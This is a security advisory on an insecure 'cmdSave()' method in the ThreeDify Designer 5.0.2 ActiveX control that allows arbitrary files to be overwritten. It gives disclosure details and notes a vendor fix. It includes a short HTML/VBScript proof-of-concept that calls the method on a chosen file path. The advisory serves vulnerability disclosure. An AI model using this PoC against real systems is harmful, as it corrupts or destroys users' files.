Vulnerability ID: HTB23021 Reference: http://www.htbridge.ch/advisory/threedify_designer_activex_control_insecure_method.html Product: ThreeDify Designer Vendor: ThreeDify ( http://www.threedify.com ) Vulnerable Version: 5.0.2 and probably prior Tested on: 5.0.2 Vendor Notification: 07 June 2011 Vulnerability Type: Insecure Method Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered a vulnerability in ThreeDify Designer ActiveX control, which can be exploited to overwrite arbitrary files. The vulnerability is caused due to the ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control including the insecure "cmdSave()" method. This can be exploited to corrupt arbitrary files in the context of the currently logged-on user. The following PoC code is available: <html> <object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="FilePath\Filename_to_create_or_to_overwrite" target.cmdSave arg1 End Sub </script> </html> Solution: Upgrade to the most recent version
